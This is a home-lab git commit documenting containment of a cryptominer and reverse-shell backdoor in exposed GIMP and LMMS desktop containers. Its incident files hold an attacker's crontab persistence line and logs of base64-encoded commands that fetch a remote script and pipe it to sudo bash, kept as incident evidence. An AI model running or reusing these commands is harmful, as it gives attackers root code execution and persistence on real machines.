sam/family_home_lab
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

security: contain GIMP cryptominer + LMMS reverse-shell backdoor (2026-11-11)

Browse Source 
- Weblog desktops were unauthenticated and publicly reachable (entry vector)
- Caddy basic_auth applied to gimp/lmms/video/audio routes -> 401 verified
- Webtop-native CUSTOM_USER/PASSWORD on all four (defence in depth)
- GIMP + LMMS rebuilt clean; gimp-config volume deleted, lmms-config quarantined
- Removed /home/sam:ro mount from GIMP (was exposing secrets to the container)
- Service-controller restarted (was dead, which is why toggles did nothing)
- Incident record + captured payload in docs/incident-2026-11-11*
This commit is contained in:
Sam Rolfe
2026-11-11 17:02:00 +11:00
parent aef12aafd8
commit 2ed0ca80ae
8 changed files with 467 additions and 1 deletions
Download Patch File Download Diff File Expand all files Collapse all files

1
docs/incident-2026-11-11/lmms-crontab.txt Normal file
View File

@@ -0,0 +1 @@
*/30 * * * * pgrep -f /etc/.sys_core/system.py >/dev/null || { rm -f /tmp/.sys_core.lock && nohup python3 /etc/.sys_core/system.py >/dev/null 2>&1 & }

200
docs/incident-2026-11-11/lmms-logs.txt Normal file
View File

@@ -0,0 +1,200 @@
INFO:data_websocket:Attempting to establish PulseAudio connection...
INFO:data_websocket:PulseAudio connection established.
INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF8yM2JkMDY2NTc4YzY0NGYwYTY5NjJkNTU4M2Y5Y2ZmNycgIiRvdXQiICdSRVNVTFRfMjNiZDA2NjU3OGM2NDRmMGE2OTYyZDU1ODNmOWNmZjdfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash'
INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF8yM2JkMDY2NTc4YzY0NGYwYTY5NjJkNTU4M2Y5Y2ZmNycgIiRvdXQiICdSRVNVTFRfMjNiZDA2NjU3OGM2NDRmMGE2OTYyZDU1ODNmOWNmZjdfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' with PID 533673
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Clipboard changed. Sending content (text/plain)
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 47326) (Display ID: None)...
INFO:data_websocket:Unregistered client at ('127.0.0.1', 47326) disconnected. No display reconfiguration needed.
INFO:webrtc_input:Resetting keyboard modifiers.
INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 47326)) disconnect.
INFO:data_websocket:Last client (('127.0.0.1', 47326)) disconnected. All pipelines should have been stopped by reconfigure_displays.
INFO:main:Initiating unified pipeline shutdown...
WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request.
INFO:main:Unified pipeline shutdown complete.
INFO:data_websocket:Data WS handler for ('127.0.0.1', 47326) finished all cleanup.
INFO:data_websocket:Stats sender: WS connection closed.
INFO:data_websocket:Legacy client ('127.0.0.1', 47116) connected. Role: controller, Slot: None
INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 47116)
INFO:data_websocket:Sending last known cursor to new client ('127.0.0.1', 47116)
INFO:data_websocket:Attempting to establish PulseAudio connection...
INFO:data_websocket:PulseAudio connection established.
INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF9iNzlmZmIwNmQ4NTA0MDY4OTdlMDdkMmYwNGFhY2Q5ZScgIiRvdXQiICdSRVNVTFRfYjc5ZmZiMDZkODUwNDA2ODk3ZTA3ZDJmMDRhYWNkOWVfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash'
INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF9iNzlmZmIwNmQ4NTA0MDY4OTdlMDdkMmYwNGFhY2Q5ZScgIiRvdXQiICdSRVNVTFRfYjc5ZmZiMDZkODUwNDA2ODk3ZTA3ZDJmMDRhYWNkOWVfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' with PID 671910
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Clipboard changed. Sending content (text/plain)
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 47116) (Display ID: None)...
INFO:data_websocket:Unregistered client at ('127.0.0.1', 47116) disconnected. No display reconfiguration needed.
INFO:webrtc_input:Resetting keyboard modifiers.
INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 47116)) disconnect.
INFO:data_websocket:Last client (('127.0.0.1', 47116)) disconnected. All pipelines should have been stopped by reconfigure_displays.
INFO:main:Initiating unified pipeline shutdown...
WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request.
INFO:main:Unified pipeline shutdown complete.
INFO:data_websocket:Data WS handler for ('127.0.0.1', 47116) finished all cleanup.
INFO:data_websocket:Stats sender: WS connection closed.
INFO:data_websocket:Legacy client ('127.0.0.1', 49630) connected. Role: controller, Slot: None
INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 49630)
INFO:data_websocket:Sending last known cursor to new client ('127.0.0.1', 49630)
INFO:data_websocket:Attempting to establish PulseAudio connection...
INFO:data_websocket:PulseAudio connection established.
INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSE4xWkc4Z1ltRnphQT09JyB8IGJhc2U2NCAtZCk7IG91dD0kKGJhc2ggLWxjICIkY21kIiAyPiYxKTsgcmM9JD87IHByaW50ZiAnJXNcbiVzXG4lczolc1xuJyAnUkVTVUxUXzI2ODhiOTYxYmIwYzRkOTQ4NDE3NmRmMzdlMDI2OTMyJyAiJG91dCIgJ1JFU1VMVF8yNjg4Yjk2MWJiMGM0ZDk0ODQxNzZkZjM3ZTAyNjkzMl9FWElUJyAiJHJjIiB8IHhjbGlwIC1zZWxlY3Rpb24gY2xpcGJvYXJkIC1sb29wcyAx' | base64 -d | bash'
INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSE4xWkc4Z1ltRnphQT09JyB8IGJhc2U2NCAtZCk7IG91dD0kKGJhc2ggLWxjICIkY21kIiAyPiYxKTsgcmM9JD87IHByaW50ZiAnJXNcbiVzXG4lczolc1xuJyAnUkVTVUxUXzI2ODhiOTYxYmIwYzRkOTQ4NDE3NmRmMzdlMDI2OTMyJyAiJG91dCIgJ1JFU1VMVF8yNjg4Yjk2MWJiMGM0ZDk0ODQxNzZkZjM3ZTAyNjkzMl9FWElUJyAiJHJjIiB8IHhjbGlwIC1zZWxlY3Rpb24gY2xpcGJvYXJkIC1sb29wcyAx' | base64 -d | bash' with PID 778278
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Clipboard changed. Sending content (text/plain)
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 49630) (Display ID: None)...
INFO:data_websocket:Unregistered client at ('127.0.0.1', 49630) disconnected. No display reconfiguration needed.
INFO:webrtc_input:Resetting keyboard modifiers.
INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 49630)) disconnect.
INFO:data_websocket:Last client (('127.0.0.1', 49630)) disconnected. All pipelines should have been stopped by reconfigure_displays.
INFO:main:Initiating unified pipeline shutdown...
WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request.
INFO:main:Unified pipeline shutdown complete.
INFO:data_websocket:Data WS handler for ('127.0.0.1', 49630) finished all cleanup.
INFO:data_websocket:Stats sender: WS connection closed.
INFO:data_websocket:Legacy client ('127.0.0.1', 57454) connected. Role: controller, Slot: None
INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 57454)
INFO:data_websocket:Sending last known cursor to new client ('127.0.0.1', 57454)
INFO:data_websocket:Attempting to establish PulseAudio connection...
INFO:data_websocket:PulseAudio connection established.
INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2YzJobGJHd3ZJSHdnZEhJZ0xXUWdKdzBuSUh3Z2MzVmtieUJpWVhObycgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF9lZDkyM2IzYTRmOGE0MmY0YTJkN2Y3ZjllMTdiYWI3YycgIiRvdXQiICdSRVNVTFRfZWQ5MjNiM2E0ZjhhNDJmNGEyZDdmN2Y5ZTE3YmFiN2NfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash'
INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2YzJobGJHd3ZJSHdnZEhJZ0xXUWdKdzBuSUh3Z2MzVmtieUJpWVhObycgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF9lZDkyM2IzYTRmOGE0MmY0YTJkN2Y3ZjllMTdiYWI3YycgIiRvdXQiICdSRVNVTFRfZWQ5MjNiM2E0ZjhhNDJmNGEyZDdmN2Y5ZTE3YmFiN2NfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' with PID 838060
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Clipboard changed. Sending content (text/plain)
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 57454) (Display ID: None)...
INFO:data_websocket:Unregistered client at ('127.0.0.1', 57454) disconnected. No display reconfiguration needed.
INFO:webrtc_input:Resetting keyboard modifiers.
INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 57454)) disconnect.
INFO:data_websocket:Last client (('127.0.0.1', 57454)) disconnected. All pipelines should have been stopped by reconfigure_displays.
INFO:main:Initiating unified pipeline shutdown...
WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request.
INFO:main:Unified pipeline shutdown complete.
INFO:data_websocket:Data WS handler for ('127.0.0.1', 57454) finished all cleanup.
INFO:data_websocket:Stats sender: WS connection closed.
INFO:data_websocket:Legacy client ('127.0.0.1', 38950) connected. Role: controller, Slot: None
INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 38950)
INFO:data_websocket:Sending last known cursor to new client ('127.0.0.1', 38950)
INFO:data_websocket:Attempting to establish PulseAudio connection...
INFO:data_websocket:PulseAudio connection established.
INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF81ODE0YTVkNTQ1OWE0MTc1ODQ4NTBkYzEwYWRkZmUyZScgIiRvdXQiICdSRVNVTFRfNTgxNGE1ZDU0NTlhNDE3NTg0ODUwZGMxMGFkZGZlMmVfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash'
INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF81ODE0YTVkNTQ1OWE0MTc1ODQ4NTBkYzEwYWRkZmUyZScgIiRvdXQiICdSRVNVTFRfNTgxNGE1ZDU0NTlhNDE3NTg0ODUwZGMxMGFkZGZlMmVfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' with PID 840437
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Clipboard changed. Sending content (text/plain)
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 38950) (Display ID: None)...
INFO:data_websocket:Unregistered client at ('127.0.0.1', 38950) disconnected. No display reconfiguration needed.
INFO:webrtc_input:Resetting keyboard modifiers.
INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 38950)) disconnect.
INFO:data_websocket:Last client (('127.0.0.1', 38950)) disconnected. All pipelines should have been stopped by reconfigure_displays.
INFO:main:Initiating unified pipeline shutdown...
WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request.
INFO:main:Unified pipeline shutdown complete.
INFO:data_websocket:Data WS handler for ('127.0.0.1', 38950) finished all cleanup.
INFO:data_websocket:Stats sender: WS connection closed.
INFO:data_websocket:Legacy client ('127.0.0.1', 34500) connected. Role: controller, Slot: None
INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 34500)
INFO:data_websocket:Sending last known cursor to new client ('127.0.0.1', 34500)
INFO:data_websocket:Attempting to establish PulseAudio connection...
INFO:data_websocket:PulseAudio connection established.
INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2YzJobGJHd3ZJSHdnZEhJZ0xXUWdKdzBuSUh3Z2MzVmtieUJpWVhObycgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF80NTBiMzkxMTM4NjQ0NWE1OTVlZDg2MjQ5MGRhMGFjZScgIiRvdXQiICdSRVNVTFRfNDUwYjM5MTEzODY0NDVhNTk1ZWQ4NjI0OTBkYTBhY2VfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash'
INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2YzJobGJHd3ZJSHdnZEhJZ0xXUWdKdzBuSUh3Z2MzVmtieUJpWVhObycgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF80NTBiMzkxMTM4NjQ0NWE1OTVlZDg2MjQ5MGRhMGFjZScgIiRvdXQiICdSRVNVTFRfNDUwYjM5MTEzODY0NDVhNTk1ZWQ4NjI0OTBkYTBhY2VfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' with PID 882593
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Clipboard changed. Sending content (text/plain)
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 34500) (Display ID: None)...
INFO:data_websocket:Unregistered client at ('127.0.0.1', 34500) disconnected. No display reconfiguration needed.
INFO:webrtc_input:Resetting keyboard modifiers.
INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 34500)) disconnect.
INFO:data_websocket:Last client (('127.0.0.1', 34500)) disconnected. All pipelines should have been stopped by reconfigure_displays.
INFO:main:Initiating unified pipeline shutdown...
WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request.
INFO:main:Unified pipeline shutdown complete.
INFO:data_websocket:Data WS handler for ('127.0.0.1', 34500) finished all cleanup.
INFO:data_websocket:Stats sender: WS connection closed.
INFO:data_websocket:Legacy client ('127.0.0.1', 60970) connected. Role: controller, Slot: None
INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 60970)
INFO:data_websocket:Sending last known cursor to new client ('127.0.0.1', 60970)
INFO:data_websocket:Attempting to establish PulseAudio connection...
INFO:data_websocket:PulseAudio connection established.
INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF8yYzI1OTg4NzI3OWE0YjhiYWVhYTU3MjZhY2Y1Njg3YycgIiRvdXQiICdSRVNVTFRfMmMyNTk4ODcyNzlhNGI4YmFlYWE1NzI2YWNmNTY4N2NfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash'
INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF8yYzI1OTg4NzI3OWE0YjhiYWVhYTU3MjZhY2Y1Njg3YycgIiRvdXQiICdSRVNVTFRfMmMyNTk4ODcyNzlhNGI4YmFlYWE1NzI2YWNmNTY4N2NfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' with PID 882727
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Clipboard changed. Sending content (text/plain)
INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 60970) (Display ID: None)...
INFO:data_websocket:Unregistered client at ('127.0.0.1', 60970) disconnected. No display reconfiguration needed.
INFO:webrtc_input:Resetting keyboard modifiers.
INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 60970)) disconnect.
INFO:data_websocket:Last client (('127.0.0.1', 60970)) disconnected. All pipelines should have been stopped by reconfigure_displays.
INFO:main:Initiating unified pipeline shutdown...
WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request.
INFO:main:Unified pipeline shutdown complete.
INFO:data_websocket:Data WS handler for ('127.0.0.1', 60970) finished all cleanup.
INFO:data_websocket:Stats sender: WS connection closed.
INFO:data_websocket:Legacy client ('127.0.0.1', 51246) connected. Role: controller, Slot: None
INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 51246)
INFO:data_websocket:Sending last known cursor to new client ('127.0.0.1', 51246)
INFO:data_websocket:Attempting to establish PulseAudio connection...
INFO:data_websocket:PulseAudio connection established.
INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2YzJobGJHd3ZJSHdnZEhJZ0xXUWdKdzBuSUh3Z2MzVmtieUJpWVhObycgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF9iY2Y4YWM4MzMyMmU0OTRmODhlMzlmMTVmMjU0NmZhNycgIiRvdXQiICdSRVNVTFRfYmNmOGFjODMzMjJlNDk0Zjg4ZTM5ZjE1ZjI1NDZmYTdfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash'
INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2YzJobGJHd3ZJSHdnZEhJZ0xXUWdKdzBuSUh3Z2MzVmtieUJpWVhObycgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF9iY2Y4YWM4MzMyMmU0OTRmODhlMzlmMTVmMjU0NmZhNycgIiRvdXQiICdSRVNVTFRfYmNmOGFjODMzMjJlNDk0Zjg4ZTM5ZjE1ZjI1NDZmYTdfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' with PID 924896
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Clipboard changed. Sending content (text/plain)
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 51246) (Display ID: None)...
INFO:data_websocket:Unregistered client at ('127.0.0.1', 51246) disconnected. No display reconfiguration needed.
INFO:webrtc_input:Resetting keyboard modifiers.
INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 51246)) disconnect.
INFO:data_websocket:Last client (('127.0.0.1', 51246)) disconnected. All pipelines should have been stopped by reconfigure_displays.
INFO:main:Initiating unified pipeline shutdown...
WARNING:data_websocket:Reconfiguration already in progress. Ignoring concurrent request.
INFO:main:Unified pipeline shutdown complete.
INFO:data_websocket:Data WS handler for ('127.0.0.1', 51246) finished all cleanup.
INFO:data_websocket:Stats sender: WS connection closed.
INFO:data_websocket:Legacy client ('127.0.0.1', 52372) connected. Role: controller, Slot: None
INFO:data_websocket:Data WebSocket connected from ('127.0.0.1', 52372)
INFO:data_websocket:Sending last known cursor to new client ('127.0.0.1', 52372)
INFO:data_websocket:Attempting to establish PulseAudio connection...
INFO:data_websocket:PulseAudio connection established.
INFO:data_websocket:Attempting to execute command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF9mYzgxZTViYzE0MTA0MTkyYTQ3ZTdiNDFjZjFkNWViYScgIiRvdXQiICdSRVNVTFRfZmM4MWU1YmMxNDEwNDE5MmE0N2U3YjQxY2YxZDVlYmFfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash'
INFO:data_websocket:Successfully launched command: 'printf '%s' 'Y21kPSQocHJpbnRmICclcycgJ1kzVnliQ0F0YXlCb2RIUndjem92TDNOamNtbHdkSGt1Ylc5dmJ5NWpiMjB2WVd4c0x5QjhJSFJ5SUMxa0lDY05KeUI4SUhOMVpHOGdZbUZ6YUE9PScgfCBiYXNlNjQgLWQpOyBvdXQ9JChiYXNoIC1sYyAiJGNtZCIgMj4mMSk7IHJjPSQ/OyBwcmludGYgJyVzXG4lc1xuJXM6JXNcbicgJ1JFU1VMVF9mYzgxZTViYzE0MTA0MTkyYTQ3ZTdiNDFjZjFkNWViYScgIiRvdXQiICdSRVNVTFRfZmM4MWU1YmMxNDEwNDE5MmE0N2U3YjQxY2YxZDVlYmFfRVhJVCcgIiRyYyIgfCB4Y2xpcCAtc2VsZWN0aW9uIGNsaXBib2FyZCAtbG9vcHMgMQ==' | base64 -d | bash' with PID 925006
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:webrtc_input:Clipboard changed. Sending content (text/plain)
INFO:webrtc_input:Unknown data channel message: REQUEST_CLIPBOARD
INFO:data_websocket:Cleaning up Data WS handler for ('127.0.0.1', 52372) (Display ID: None)...
INFO:data_websocket:Unregistered client at ('127.0.0.1', 52372) disconnected. No display reconfiguration needed.
INFO:webrtc_input:Resetting keyboard modifiers.
INFO:data_websocket:Keyboard reset completed (('127.0.0.1', 52372)) disconnect.
